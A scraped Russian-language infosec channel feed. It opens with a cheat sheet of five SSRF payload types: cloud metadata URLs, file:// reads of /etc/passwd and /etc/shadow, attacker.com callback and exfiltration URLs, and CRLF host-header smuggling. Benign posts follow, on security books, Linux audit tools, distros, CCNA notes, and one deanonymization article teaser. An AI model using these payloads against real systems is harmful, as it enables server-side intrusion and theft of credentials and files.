😈 5 часто используемых SSRF нагрузок

SSRF (Server-Side Request Forgery) – это уязвимость веб-приложения, которая позволяет злоумышленнику отправлять поддельные запросы от имени самого сервера

Пейлоады SSRF представляют собой специально сформированные запросы, которые злоумышленник внедряет в уязвимое веб-приложение

SSRF пейлоады могут включать манипуляции с URL-адресами, использование специальных схем (например, file://, ftp://), эксплойты протокольного smuggling, обращения к метаданным облачных провайдеров и другие техники для достижения своих целей

1. Сканирование внутренней сети
⏺Получение метаданных с инстансов AWS EC2:

http://169.254.169.254/latest/meta-data/

⏺Получение метаданных с инстансов Google Cloud:

http://metadata.google.internal/computeMetadata/v1/instance/

⏺Получение метаданных с инстансов Azure:
http://169.254.169.254/metadata/v1/

2. Получение файлов
⏺Получение содержимого файла /etc/passwd:

file:///etc/passwd

⏺Получение содержимого файла /etc/shadow (если доступно):

file:///etc/shadow

⏺Получение содержимого файла boot.ini (Windows):

file:///c:/boot.ini

3. Взаимодействие с внешними сервисами
⏺Получение содержимого внутреннего сайта и отправка его на сервер злоумышленника:

http://attacker.com/?url=http://internal.site.com/

⏺Попытка подключиться к FTP-серверу, управляемому злоумышленником:

ftp://attacker.com/

4. Протокольный smuggling
⏺Использование протокольного smuggling для изменения заголовка Host:

http://internal.site.com:80%0d%0aHost: attacker.com%0d%0a

⏺Добавление фрагмента URL для обмана сервера, чтобы он подумал, что запрос предназначен для attacker.com:

http://internal.site.com:80%23attacker.com

5. Эксфильтрация данных через DNS
⏺Использование DNS-запроса для передачи данных на сервер, контролируемый злоумышленником:

http://attacker.com/?url=http://x.x.x.x/

⏺Использование поддомена для эксфильтрации данных на сервер злоумышленника:

http://attacker.com/?url=http://attacker.com.x.x.x.x.evilsite.com/

👀 Источник

✋ Secure Books

🔒 Криптографические методы защиты информации

В настоящем пособии рассмотрены только основные математические методы защиты информации, и среди них главный акцент сделан на криптографическую защиту, которая включает:
⏺симметричные и несимметричные методы шифрования
⏺формирование секретных ключей
⏺протоколы ограничения доступа и аутентификации сообщений и пользователей

Кроме того, в пособии рассматриваются типовые уязвимости операционных и информационно вычислительных систем

Авторы: Владимиров С. М.
Габидулин Э. М.
Колыбельников А. И.
Кшевецкий А. С.
Год выхода: 2020

✋ Secure Books

🥷 Инструменты для деанонимизации: обзор программного обеспечения и методик

В статье автор поделиться своим опытом и знаниями о том, как можно раскрыть личность человека в интернете, используя различные техники и программы

Деанонимизация – это процесс, при котором анонимный пользователь или группа пользователей становятся известными по своим реальным данным, таким как имя, адрес, номер телефона, электронная почта и т.д.

Существует множество инструментов и методик для деанонимизации, которые можно разделить на несколько категорий:
⏺Анализ данных
⏺Анализ социальных сетей
⏺Анализ текста
⏺ Анализ изображений

В статье подробно рассмотрим каждую из категорий

👀 Источник

✋ Secure Books

📂 Awesome Shell

Список потрясающих фреймворков командной строки, наборов инструментов, руководств, шпаргалок, утилит, серверов и других полезных вещей

👀 Источник

✋ Secure Books

😁 Топ 40 книг по Linux

• Командная строка Linux. Полное руководство - 2017
• Ubuntu и Debian Linux для продвинутых - 2011
• Внутреннее устройство Linux - 2016
• Linux на практике - 2017
• UNIX. Профессиональное программирование - 2018
• Linux глазами хакера 2019
• Внутреннее устройство Linux 2017
• Сценарии командной оболочки. Linux, OS X и Unix 2017
• Встраиваемые системы на основе Linux 2017
• Linux API. Исчерпывающее руководство 2018
• Linux. От новичка к профессионалу 2018
• Kali Linux от разработчиков 2019
• Командная строка Linux. Полное руководство 2 изд 2020…

✋ Secure Book

😁 Лучшие инструменты аудита безопасности Linux

В сегодняшней  статье мы познакомим вас с лучшими утилитами аудита безопасности Linux

⏺ Lynis – самая навороченная тулза для аудита Linux-систем, при этом она довольно простая в использовании и очень наглядная – все тесты и их отчеты выводятся на экран. Утилита сканирует настройки текущего уровня безопасности и определяет состояние защищенности (hardening state) хоста

⏺ Lunar – это набор нативных скриптов, написанных на языке командной оболочки bash, которые тестируют целевую Linux-машину и генерируют по результатам проверки заключение аудита безопасности.
Инструмент основан на стандартах CIS и других мировых фреймворках по безопасности

⏺ Nix Auditor – это очередной скрипт для проверки, соответствует ли безопасность Linux-систем требованиям показателя CIS

⏺ Утилита Loki – не совсем классический инструмент для проведения аудита Linux, но он отлично подходит для поиска следов взлома, что является форензикой, но отчасти можно отнести и к практике аудита

👀 Источник

✋ Secure Book

📄 Шпаргалка по Tcpdump

Tcpdump – это утилита UNIX, позволяющая перехватывать и анализировать сетевой трафик, проходящий через компьютер, на котором запущена данная программа

Утилита имеет богатый набор опций и различных фильтров, благодаря чему её можно применять для различных целей

✋ Secure Book

☁️ Bash и кибербезопасность: атака, защита и анализ из командной строки Linux

Командная строка может стать идеальным инструментом для обеспечения кибербезопасности

Невероятная гибкость и абсолютная доступность превращают стандартный интерфейс командной строки (CLI) в фундаментальное решение, если у вас есть соответствующий опыт

Авторы Пол Тронкон и Карл Олбинг рассказывают об инструментах и хитростях командной строки, помогающих собирать данные при упреждающей защите, анализировать логи и отслеживать состояние сетей

Пентестеры узнают, как проводить атаки, используя колоссальный функционал, встроенный практически в любую версию Linux

Автор: Пол Тронкон, Карл Олбинг
Год выхода: 2020

✋ Secure Book

😁 Лучшие дистрибутивы Linux

Предлагаю Вам ознакомиться со списком самых лучших, популярных и интересных сборок Linux на данный момент

В статье мы подробно рассмотрим:
1. Топ-5 лучших дистрибутивов Linux на 2024 год
⏺EndeavourOS
⏺Mint
⏺Ubuntu
⏺Fedora
⏺KDE neon
2. Лучшие дистрибутивы Linux на 2024 год для новичков
⏺Zorin OS
⏺Lite
⏺Elementary OS
3. Лучшие дистрибутивы Linux на 2024 год для системных администраторов
⏺MX Linux
⏺Manjaro
⏺Debian
4. Лучшие дистрибутивы Linux на 2024 год для гейминга
⏺Garuda
⏺Pop_OS!
⏺Drauger OS
5. Лучшие дистрибутивы Linux на 2024 год для разработчиков
⏺OpenSUSE
⏺Kali
⏺Puppy
⏺Solus

👀 Источник

✋ Secure Book

🌐 Cisco | Подборка шпаргалок к экзамену Cisco CCNA Exploration с примерами

⏺ Шпаргалка к экзамену Cisco CCNA: Деление сети на подсети (PDF и HTML). Пример деления сети.
◦ Шпаргалки для деления сети Часть 1
◦ Шпаргалки для деления сети Часть 2
⏺ Шпаргалка к экзамену Cisco CCNA: Пример деления сети на подсети графическим способом методом квадратов (PDF и HTML).
⏺ Отличный VLSM калькулятор, с помощью которого Вы без проблем разделите любую сеть на подсети с маской переменной длины.
⏺ Шпаргалка Минимальная базовая настройка маршрутизатора специально для выполнения лабораторных работ и практики (практических заданий) cisco CCNA и ICND. Назначение IP-адресов на интерфейсы маршрутизатора.
⏺ Шпаргалка Статическая маршрутизация.
⏺ Шпаргалка Динамическая маршрутизация. Протокол RIP.
⏺ Таблица сетевых масок, префиксы маски. Короткая запись маски. Шпаргалка.

✋ Secure Book

😁 Весь Linux. Для тех, кто хочет стать профессионалом

Эта книга содержит в себе как теоретические, так и практические материалы по Linux, тем самым вы сразу сможете использовать полученную теорию на практике

Диапазон рассматриваемых тем достаточно широк:
⏺Установка системы, вход и завершение работы, настройка системы, основы командной строки;
⏺Настройка Интернета, установка программного обеспечения, обзор популярных программ для Linux, как запускать Windows-приложения в Linux;
⏺Локальное администрирование в Linux, управление файловыми системами, что такое и для чего нужно Ядро Linux, системные процессы и основные группы пользователей.

Автор: Матвеев М. Д.
Год выхода: 2024

✋ Secure Book

🫶 Набор ресурсов по информационной безопасности

Цель этого проекта – выступить в качестве бесплатного ресурса для всех, кто заинтересован в получении дополнительной информации об информационной безопасности.

В репозитории вы найдете:
1. Анонимность
2. Основная информация о безопасности
3. Построение лаборатории для пентеста
4. Взлом автомобиля
5. OSINT
6. Фишинг
7. Социальная инженерия
8. Моделирование угроз и многое другое

👀 Репозиторий на GitHub

✋ Secure Books